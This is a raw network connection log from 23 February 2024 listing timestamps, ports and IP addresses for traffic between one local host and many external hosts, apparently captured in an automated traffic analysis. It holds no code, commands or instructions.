Feb 23, 2024 14:28:23.453797102 CET	4145	50831	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.453814983 CET	50884	4145	192.168.2.8	72.195.114.184
Feb 23, 2024 14:28:23.453948021 CET	50831	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.454174995 CET	50831	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.454361916 CET	50885	49524	192.168.2.8	36.67.27.189
Feb 23, 2024 14:28:23.455724001 CET	50886	6049	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.456964970 CET	5678	50416	41.139.147.86	192.168.2.8
Feb 23, 2024 14:28:23.457171917 CET	50887	8080	192.168.2.8	171.97.12.175
Feb 23, 2024 14:28:23.458484888 CET	50888	27391	192.168.2.8	72.195.34.60
Feb 23, 2024 14:28:23.459633112 CET	80	50801	172.67.182.102	192.168.2.8
Feb 23, 2024 14:28:23.459657907 CET	80	50801	172.67.182.102	192.168.2.8
Feb 23, 2024 14:28:23.459686041 CET	50889	26591	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.459856987 CET	80	50801	172.67.182.102	192.168.2.8
Feb 23, 2024 14:28:23.459892988 CET	4145	50825	142.54.228.193	192.168.2.8
Feb 23, 2024 14:28:23.459914923 CET	80	50805	104.19.235.10	192.168.2.8
Feb 23, 2024 14:28:23.459965944 CET	50801	80	192.168.2.8	172.67.182.102
Feb 23, 2024 14:28:23.459965944 CET	50801	80	192.168.2.8	172.67.182.102
Feb 23, 2024 14:28:23.460067034 CET	80	50805	104.19.235.10	192.168.2.8
Feb 23, 2024 14:28:23.460354090 CET	50381	32065	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.460371017 CET	50074	5678	192.168.2.8	1.20.95.95
Feb 23, 2024 14:28:23.460371017 CET	50077	23859	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.460563898 CET	80	50861	104.22.50.220	192.168.2.8
Feb 23, 2024 14:28:23.460644960 CET	50861	80	192.168.2.8	104.22.50.220
Feb 23, 2024 14:28:23.460728884 CET	80	49864	50.170.90.24	192.168.2.8
Feb 23, 2024 14:28:23.461000919 CET	50805	80	192.168.2.8	104.19.235.10
Feb 23, 2024 14:28:23.461266041 CET	80	50805	104.19.235.10	192.168.2.8
Feb 23, 2024 14:28:23.461328030 CET	50805	80	192.168.2.8	104.19.235.10
Feb 23, 2024 14:28:23.461566925 CET	20627	50276	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.462970972 CET	50861	80	192.168.2.8	104.22.50.220
Feb 23, 2024 14:28:23.464555025 CET	1080	49787	202.78.160.118	192.168.2.8
Feb 23, 2024 14:28:23.465126038 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.465193033 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.465207100 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.465254068 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.465595007 CET	45248	50258	166.62.121.127	192.168.2.8
Feb 23, 2024 14:28:23.467089891 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467103958 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467118979 CET	50890	8080	192.168.2.8	176.58.105.153
Feb 23, 2024 14:28:23.467139006 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467148066 CET	4145	50833	192.252.220.89	192.168.2.8
Feb 23, 2024 14:28:23.467169046 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.467199087 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467200041 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.467207909 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467220068 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467298031 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.467312098 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467374086 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467389107 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467396021 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467396975 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.467434883 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467458963 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.467470884 CET	5678	50416	41.139.147.86	192.168.2.8
Feb 23, 2024 14:28:23.467473030 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.467595100 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.468144894 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468185902 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468185902 CET	50891	5678	192.168.2.8	41.139.147.86
Feb 23, 2024 14:28:23.468214035 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468297005 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.468719006 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468732119 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468775988 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.468816996 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.469306946 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.469320059 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.469351053 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.469384909 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.469434023 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.469434023 CET	50076	8080	192.168.2.8	125.25.40.38
Feb 23, 2024 14:28:23.469810963 CET	80	50820	104.16.195.74	192.168.2.8
Feb 23, 2024 14:28:23.469846964 CET	80	50820	104.16.195.74	192.168.2.8
Feb 23, 2024 14:28:23.470074892 CET	50820	80	192.168.2.8	104.16.195.74
Feb 23, 2024 14:28:23.470092058 CET	80	50820	104.16.195.74	192.168.2.8
Feb 23, 2024 14:28:23.470139980 CET	50820	80	192.168.2.8	104.16.195.74
Feb 23, 2024 14:28:23.470185995 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470206022 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470258951 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470290899 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470304012 CET	9999	49879	1.1.104.70	192.168.2.8
Feb 23, 2024 14:28:23.470321894 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470343113 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.470371962 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470375061 CET	49879	9999	192.168.2.8	1.1.104.70
Feb 23, 2024 14:28:23.470380068 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470438004 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.470525026 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470531940 CET	54368	50791	82.223.121.72	192.168.2.8
Feb 23, 2024 14:28:23.470591068 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.470593929 CET	50791	54368	192.168.2.8	82.223.121.72
Feb 23, 2024 14:28:23.470803976 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470896959 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470916986 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470921993 CET	50791	54368	192.168.2.8	82.223.121.72
Feb 23, 2024 14:28:23.470942974 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.470967054 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.470968962 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.470968962 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471004009 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471030951 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471065044 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471120119 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471142054 CET	49879	9999	192.168.2.8	1.1.104.70
Feb 23, 2024 14:28:23.471211910 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471287012 CET	50892	41047	192.168.2.8	104.236.171.128
Feb 23, 2024 14:28:23.471497059 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471512079 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471538067 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471559048 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471576929 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471590042 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471597910 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471626997 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471647024 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471688986 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471733093 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471744061 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471757889 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471764088 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.471803904 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.471821070 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.474392891 CET	6467	50590	107.181.141.70	192.168.2.8
Feb 23, 2024 14:28:23.474443913 CET	6467	50590	107.181.141.70	192.168.2.8
Feb 23, 2024 14:28:23.474560976 CET	50590	6467	192.168.2.8	107.181.141.70
Feb 23, 2024 14:28:23.475748062 CET	50590	6467	192.168.2.8	107.181.141.70
Feb 23, 2024 14:28:23.475955009 CET	50295	1080	192.168.2.8	95.216.201.74
Feb 23, 2024 14:28:23.475955963 CET	49869	46249	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:23.475984097 CET	50070	23847	192.168.2.8	162.144.32.209
Feb 23, 2024 14:28:23.475996971 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:23.476002932 CET	50010	17317	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:23.476016998 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:23.476021051 CET	50071	8080	192.168.2.8	188.34.164.99
Feb 23, 2024 14:28:23.476023912 CET	50312	80	192.168.2.8	143.198.241.47
Feb 23, 2024 14:28:23.476026058 CET	50081	38117	192.168.2.8	107.180.101.18
Feb 23, 2024 14:28:23.476042986 CET	50083	3128	192.168.2.8	154.202.117.155
Feb 23, 2024 14:28:23.476043940 CET	50090	30433	192.168.2.8	159.203.137.249
Feb 23, 2024 14:28:23.476070881 CET	50092	32326	192.168.2.8	139.59.149.137
Feb 23, 2024 14:28:23.476334095 CET	8080	50643	103.118.46.61	192.168.2.8
Feb 23, 2024 14:28:23.476474047 CET	50643	8080	192.168.2.8	103.118.46.61
Feb 23, 2024 14:28:23.476623058 CET	80	50252	149.202.172.113	192.168.2.8
Feb 23, 2024 14:28:23.476648092 CET	50643	8080	192.168.2.8	103.118.46.61
Feb 23, 2024 14:28:23.479475975 CET	50893	32953	192.168.2.8	146.59.70.29
Feb 23, 2024 14:28:23.480351925 CET	50894	52210	192.168.2.8	1.179.147.5
Feb 23, 2024 14:28:23.482122898 CET	50895	3128	192.168.2.8	37.233.102.111
Feb 23, 2024 14:28:23.482127905 CET	999	50752	181.209.110.190	192.168.2.8
Feb 23, 2024 14:28:23.482234955 CET	50752	999	192.168.2.8	181.209.110.190
Feb 23, 2024 14:28:23.482455969 CET	50752	999	192.168.2.8	181.209.110.190
Feb 23, 2024 14:28:23.483603001 CET	50896	31409	192.168.2.8	121.139.218.165
Feb 23, 2024 14:28:23.484390974 CET	50897	47239	192.168.2.8	45.125.222.125
Feb 23, 2024 14:28:23.485753059 CET	6764	50429	198.105.111.86	192.168.2.8
Feb 23, 2024 14:28:23.485826015 CET	4145	50178	185.169.181.11	192.168.2.8
Feb 23, 2024 14:28:23.485838890 CET	50898	37920	192.168.2.8	37.187.77.58
Feb 23, 2024 14:28:23.486610889 CET	80	49898	50.169.118.211	192.168.2.8
Feb 23, 2024 14:28:23.486982107 CET	80	50286	50.174.145.15	192.168.2.8
Feb 23, 2024 14:28:23.487004042 CET	50899	80	192.168.2.8	60.246.122.244
Feb 23, 2024 14:28:23.488187075 CET	50900	59307	192.168.2.8	188.165.226.128
Feb 23, 2024 14:28:23.489439964 CET	4145	49887	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.489479065 CET	4145	49887	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.489502907 CET	50901	4145	192.168.2.8	104.200.152.30
Feb 23, 2024 14:28:23.489505053 CET	4153	50265	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.489952087 CET	50902	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.490240097 CET	4153	50265	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.491096973 CET	7777	50044	123.30.154.171	192.168.2.8
Feb 23, 2024 14:28:23.491128922 CET	50903	8080	192.168.2.8	79.174.188.153
Feb 23, 2024 14:28:23.491605043 CET	50466	11673	192.168.2.8	50.63.13.3
Feb 23, 2024 14:28:23.491606951 CET	50082	5699	192.168.2.8	97.79.238.253
Feb 23, 2024 14:28:23.491622925 CET	50091	8080	192.168.2.8	36.37.81.135
Feb 23, 2024 14:28:23.491622925 CET	50094	8080	192.168.2.8	77.46.138.49
Feb 23, 2024 14:28:23.491632938 CET	50084	39180	192.168.2.8	173.212.240.168
Feb 23, 2024 14:28:23.491635084 CET	49964	7491	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:23.491635084 CET	50107	7654	192.168.2.8	124.158.182.34
Feb 23, 2024 14:28:23.491643906 CET	50257	1080	192.168.2.8	103.109.59.193
Feb 23, 2024 14:28:23.491646051 CET	50111	15095	192.168.2.8	162.210.192.136
Feb 23, 2024 14:28:23.491650105 CET	50086	10203	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:23.491663933 CET	50102	8080	192.168.2.8	136.243.245.231
Feb 23, 2024 14:28:23.491663933 CET	50105	3128	192.168.2.8	176.113.73.99
Feb 23, 2024 14:28:23.491672993 CET	50256	20056	192.168.2.8	103.215.139.32
Feb 23, 2024 14:28:23.491714001 CET	3128	50498	188.87.137.45	192.168.2.8
Feb 23, 2024 14:28:23.493102074 CET	50109	8181	192.168.2.8	45.238.220.1
Feb 23, 2024 14:28:23.493109941 CET	50904	8080	192.168.2.8	103.232.20.99
Feb 23, 2024 14:28:23.493249893 CET	50498	3128	192.168.2.8	188.87.137.45
Feb 23, 2024 14:28:23.493928909 CET	80	50633	185.225.232.191	192.168.2.8
Feb 23, 2024 14:28:23.493957043 CET	50905	56637	192.168.2.8	213.32.66.64
Feb 23, 2024 14:28:23.493959904 CET	9000	50725	122.116.150.2	192.168.2.8
Feb 23, 2024 14:28:23.494709969 CET	50498	3128	192.168.2.8	188.87.137.45
Feb 23, 2024 14:28:23.494709969 CET	50906	80	192.168.2.8	172.67.181.58
Feb 23, 2024 14:28:23.494816065 CET	8080	50626	206.189.130.107	192.168.2.8
Feb 23, 2024 14:28:23.494828939 CET	50725	9000	192.168.2.8	122.116.150.2
Feb 23, 2024 14:28:23.494976044 CET	50725	9000	192.168.2.8	122.116.150.2
Feb 23, 2024 14:28:23.497077942 CET	50908	7031	192.168.2.8	192.169.205.131
Feb 23, 2024 14:28:23.497081995 CET	50907	999	192.168.2.8	181.78.95.48
Feb 23, 2024 14:28:23.499236107 CET	50909	3128	192.168.2.8	210.95.145.226
Feb 23, 2024 14:28:23.499236107 CET	50910	83	192.168.2.8	103.130.106.113
Feb 23, 2024 14:28:23.500658035 CET	50911	60684	192.168.2.8	162.210.192.135
Feb 23, 2024 14:28:23.501319885 CET	1080	50759	5.180.19.209	192.168.2.8
Feb 23, 2024 14:28:23.501511097 CET	5032	50308	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.501763105 CET	49579	50334	162.19.7.46	192.168.2.8
Feb 23, 2024 14:28:23.502208948 CET	8080	50683	41.57.6.45	192.168.2.8
Feb 23, 2024 14:28:23.502243996 CET	50912	1080	192.168.2.8	87.117.11.57
Feb 23, 2024 14:28:23.502367020 CET	80	50750	104.18.81.76	192.168.2.8
Feb 23, 2024 14:28:23.504436970 CET	50913	3125	192.168.2.8	103.156.232.89
Feb 23, 2024 14:28:23.505131006 CET	50914	64947	192.168.2.8	148.72.177.90
Feb 23, 2024 14:28:23.507082939 CET	5032	50815	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.507112026 CET	50915	4153	192.168.2.8	177.38.5.224
Feb 23, 2024 14:28:23.507184982 CET	50916	1976	192.168.2.8	41.33.254.186
Feb 23, 2024 14:28:23.507189989 CET	50815	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.507291079 CET	50096	8080	192.168.2.8	70.186.128.126
Feb 23, 2024 14:28:23.507293940 CET	50095	1080	192.168.2.8	37.193.227.108
Feb 23, 2024 14:28:23.507306099 CET	50099	1976	192.168.2.8	41.65.236.57
Feb 23, 2024 14:28:23.507307053 CET	50113	4145	192.168.2.8	177.184.67.77
Feb 23, 2024 14:28:23.507308006 CET	50116	4145	192.168.2.8	212.42.99.22
Feb 23, 2024 14:28:23.507313013 CET	50100	80	192.168.2.8	181.120.28.228
Feb 23, 2024 14:28:23.507327080 CET	50104	5678	192.168.2.8	178.249.218.34
Feb 23, 2024 14:28:23.507329941 CET	50110	3128	192.168.2.8	143.42.194.37
Feb 23, 2024 14:28:23.507329941 CET	50216	83	192.168.2.8	103.155.54.38
Feb 23, 2024 14:28:23.507385969 CET	50349	44087	192.168.2.8	185.244.36.240
Feb 23, 2024 14:28:23.507776976 CET	4153	50766	93.90.212.2	192.168.2.8
Feb 23, 2024 14:28:23.507812023 CET	50815	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.507858992 CET	25323	50247	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:23.507903099 CET	50766	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.508203030 CET	50766	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:23.508785963 CET	19713	49921	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.508799076 CET	80	50764	104.23.107.172	192.168.2.8
Feb 23, 2024 14:28:23.508814096 CET	50917	8080	192.168.2.8	182.50.65.169
Feb 23, 2024 14:28:23.509176016 CET	8099	50106	85.133.190.4	192.168.2.8
Feb 23, 2024 14:28:23.511301041 CET	50919	34405	192.168.2.8	212.110.188.216
Feb 23, 2024 14:28:23.511307001 CET	50918	12529	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.512463093 CET	50920	5678	192.168.2.8	222.124.29.59
Feb 23, 2024 14:28:23.513106108 CET	50921	4890	192.168.2.8	46.0.203.140
Feb 23, 2024 14:28:23.514861107 CET	5678	50179	185.16.12.137	192.168.2.8
Feb 23, 2024 14:28:23.514986038 CET	50922	1111	192.168.2.8	103.180.1.242
Feb 23, 2024 14:28:23.515806913 CET	50923	80	192.168.2.8	176.253.53.25
Feb 23, 2024 14:28:23.516480923 CET	80	50778	45.12.31.104	192.168.2.8
Feb 23, 2024 14:28:23.516810894 CET	26077	50871	72.10.160.92	192.168.2.8
Feb 23, 2024 14:28:23.518090010 CET	63551	50245	62.171.131.101	192.168.2.8
Feb 23, 2024 14:28:23.518743038 CET	61221	50225	177.190.192.57	192.168.2.8
Feb 23, 2024 14:28:23.521086931 CET	50924	80	192.168.2.8	104.22.14.48
Feb 23, 2024 14:28:23.522685051 CET	50926	80	192.168.2.8	50.174.7.158
Feb 23, 2024 14:28:23.522686958 CET	50925	14084	192.168.2.8	188.165.252.198
Feb 23, 2024 14:28:23.522846937 CET	50486	56862	192.168.2.8	166.62.53.45
Feb 23, 2024 14:28:23.522855043 CET	50120	9090	192.168.2.8	189.240.60.166
Feb 23, 2024 14:28:23.522856951 CET	50119	1080	192.168.2.8	103.47.93.25
Feb 23, 2024 14:28:23.522867918 CET	50129	4441	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:23.522872925 CET	50125	999	192.168.2.8	181.212.41.171
Feb 23, 2024 14:28:23.522871971 CET	50126	5678	192.168.2.8	112.78.170.251
Feb 23, 2024 14:28:23.522875071 CET	50124	5678	192.168.2.8	41.160.238.106
Feb 23, 2024 14:28:23.522877932 CET	50130	5678	192.168.2.8	109.92.133.194
Feb 23, 2024 14:28:23.522891045 CET	50133	8080	192.168.2.8	93.100.123.135
Feb 23, 2024 14:28:23.522897005 CET	50131	80	192.168.2.8	31.28.4.192
Feb 23, 2024 14:28:23.522922039 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.522924900 CET	50132	50578	192.168.2.8	192.169.226.96
Feb 23, 2024 14:28:23.522927046 CET	50136	84	192.168.2.8	103.167.15.208
Feb 23, 2024 14:28:23.522927046 CET	49986	12899	192.168.2.8	72.10.160.170
Feb 23, 2024 14:28:23.522927046 CET	50121	8080	192.168.2.8	183.89.45.167
Feb 23, 2024 14:28:23.522927046 CET	50122	41277	192.168.2.8	154.12.253.232
Feb 23, 2024 14:28:23.522927046 CET	49900	45698	192.168.2.8	5.183.179.117
Feb 23, 2024 14:28:23.522931099 CET	50134	1080	192.168.2.8	202.6.224.51
Feb 23, 2024 14:28:23.522931099 CET	50316	27890	192.168.2.8	185.198.58.47
Feb 23, 2024 14:28:23.522948027 CET	50374	80	192.168.2.8	192.210.148.89
Feb 23, 2024 14:28:23.522948027 CET	50127	8111	192.168.2.8	60.199.29.42
Feb 23, 2024 14:28:23.522949934 CET	50146	31993	192.168.2.8	43.128.232.224
Feb 23, 2024 14:28:23.522948980 CET	50143	7878	192.168.2.8	175.106.10.227
Feb 23, 2024 14:28:23.522948027 CET	50137	8080	192.168.2.8	103.140.34.61
Feb 23, 2024 14:28:23.522964954 CET	50141	48425	192.168.2.8	78.189.191.184
Feb 23, 2024 14:28:23.522964954 CET	50148	2020	192.168.2.8	51.159.0.236
Feb 23, 2024 14:28:23.522964954 CET	50138	31470	192.168.2.8	209.216.90.208
Feb 23, 2024 14:28:23.522968054 CET	50150	55671	192.168.2.8	166.62.38.100
Feb 23, 2024 14:28:23.522969007 CET	50465	20325	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.522983074 CET	50149	5640	192.168.2.8	173.249.33.122
Feb 23, 2024 14:28:23.522983074 CET	50153	8080	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:23.522984028 CET	50155	3128	192.168.2.8	82.65.98.35
Feb 23, 2024 14:28:23.522984982 CET	50152	20308	192.168.2.8	209.216.90.208
Feb 23, 2024 14:28:23.522985935 CET	50151	4145	192.168.2.8	27.123.3.141
Feb 23, 2024 14:28:23.523108959 CET	50160	16708	192.168.2.8	173.249.33.122
Feb 23, 2024 14:28:23.523109913 CET	50159	347	192.168.2.8	103.25.210.102
Feb 23, 2024 14:28:23.523112059 CET	50158	56076	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.523112059 CET	50162	82	192.168.2.8	117.160.250.163
Feb 23, 2024 14:28:23.523375034 CET	3128	50003	62.112.10.26	192.168.2.8
Feb 23, 2024 14:28:23.523586035 CET	80	50340	50.174.7.157	192.168.2.8
Feb 23, 2024 14:28:23.523705959 CET	50003	3128	192.168.2.8	62.112.10.26
Feb 23, 2024 14:28:23.525106907 CET	50927	6000	192.168.2.8	186.215.87.194
Feb 23, 2024 14:28:23.525667906 CET	35618	50717	208.109.14.49	192.168.2.8
Feb 23, 2024 14:28:23.525691986 CET	50928	18936	192.168.2.8	37.187.77.58
Feb 23, 2024 14:28:23.525796890 CET	50717	35618	192.168.2.8	208.109.14.49
Feb 23, 2024 14:28:23.526257992 CET	50717	35618	192.168.2.8	208.109.14.49
Feb 23, 2024 14:28:23.527429104 CET	3128	50715	167.172.91.47	192.168.2.8
Feb 23, 2024 14:28:23.527565002 CET	50929	32650	192.168.2.8	154.79.254.236
Feb 23, 2024 14:28:23.527662039 CET	50715	3128	192.168.2.8	167.172.91.47
Feb 23, 2024 14:28:23.528260946 CET	50930	4153	192.168.2.8	211.174.114.225
Feb 23, 2024 14:28:23.528270960 CET	50715	3128	192.168.2.8	167.172.91.47
Feb 23, 2024 14:28:23.530787945 CET	50932	80	192.168.2.8	94.20.183.172
Feb 23, 2024 14:28:23.532145023 CET	50931	8080	192.168.2.8	124.71.131.192
Feb 23, 2024 14:28:23.532145023 CET	50933	4444	192.168.2.8	213.179.245.72
Feb 23, 2024 14:28:23.532238007 CET	4145	49932	174.75.211.222	192.168.2.8
Feb 23, 2024 14:28:23.532335043 CET	4145	49932	174.75.211.222	192.168.2.8
Feb 23, 2024 14:28:23.533195019 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533209085 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533257961 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533307076 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533318996 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533325911 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533335924 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533377886 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533377886 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533438921 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533497095 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533530951 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533586979 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533612013 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533633947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533677101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533683062 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533691883 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533705950 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533734083 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533734083 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533802032 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533809900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533824921 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533828974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533833981 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533857107 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533864021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533876896 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533885002 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533885002 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533948898 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.533961058 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.533979893 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534040928 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534048080 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534069061 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.534081936 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534089088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.534110069 CET	50048	4228	192.168.2.8	5.161.219.13
